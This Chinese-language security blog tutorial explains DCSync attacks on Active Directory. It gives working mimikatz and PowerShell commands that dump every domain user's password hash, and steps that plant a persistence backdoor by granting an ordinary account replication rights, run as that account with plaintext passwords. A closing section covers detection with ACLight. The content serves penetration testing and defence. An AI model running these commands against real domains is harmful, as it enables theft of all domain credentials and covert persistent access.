域渗透——DCSync
0x00 前言
DCSync 是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法
0x01 简介
本文将要介绍以下内容:
- 利用 DCSync 导出域内所有用户 hash 的方法
- 利用 DCSync 在域内维持权限的方法
- 自动化检测 DCSync 后门的方法
0x02 利用 DCSync 导出域内所有用户 hash 的方法
DCSync 是 mimikatz 在 2015 年添加的一个功能,由 Benjamin DELPY gentilkiwi 和 Vincent LE TOUX 共同编写,能够用来导出域内所有用户的 hash
利用条件:
获得以下任一用户的权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
利用原理:
利用 DRS(Directory Replication Service) 协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据
实现代码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c
利用方法:
1.使用 mimikatz
导出域内所有用户的 hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
导出域内 administrator 帐户的 hash:
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
2.powershell 实现
https://gist.github.com/monoxgas/9d238accd969550136db
通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能
导出域内所有用户的 hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出域内 administrator 帐户的 hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
0x03 利用 DCSync 在域内维持权限的方法
利用条件:
获得以下任一用户的权限:
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
利用原理:
向域内的一个普通用户添加如下三条 ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用 DCSync 导出域内所有用户 hash 的权限
实现代码:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
利用方法:
添加 ACE 的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
补充:
删除 ACE 的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
使用域用户 test1 调用 DCSync 的方法如下:
1.在域内一台登录了 test1 用户的主机上面,直接使用 mimikatz 的 DCSync 功能
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
2.使用 runas 实现登录 test1 用户,再使用 DCSync
(1) 弹出 cmd
echo 123456789 | runas /noprofile /user:test\test1 cmd
弹出的 cmd 下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
(2) 不弹框实现
echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat
1.bat 的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:同类的工具还有 lsrunas、lsrunase 和 CPAU
3.使用 powershell 实现登录 test1 用户,再使用 DCSync
(1) 弹出 cmd
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "cmd.exe" -Credential $cred
弹出的 cmd 下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
(2) 不弹框实现
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "c:\test\1.bat" -Credential $cred
1.bat 的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:使用 wmic 在本机实现登录用户 test1 会失败,错误如下:
ERROR:
Description = User credentials cannot be used for local connections
0x04 自动化检测 DCSync 后门的方法
具有高权限但不在高权限组的用户被称之为 Shadow Admin,例如 0x03 中的域用户 test1,仅通过查询高权限组的成员无法发现域内的 Shadow Admin
检测原理:枚举 Active Directory 中所有用户的 ACL,标记出特权帐户
实现代码:https://github.com/cyberark/ACLight
利用条件:
- Powershell v3.0
- 域内普通用户权限
检测方法:
执行项目中的 Execute-ACLight2.bat
生成三个文件:
- Privileged Accounts - Layers Analysis.txt
- Privileged Accounts Permissions - Final Report.csv
- Privileged Accounts Permissions - Irregular Accounts.csv
文件中会显示出所有特权帐户
经测试,ACLight 能够检测出被添加 DCSync 权限的用户 test1
0x05 小结
本文介绍了域渗透中 DCSync 的利用和自动化检测的方法,站在防御的角度,建议使用 ACLight 对域环境的用户 ACL 进行检测。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: Mimikatz 中 sekurlsa__wdigest 的实现
下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论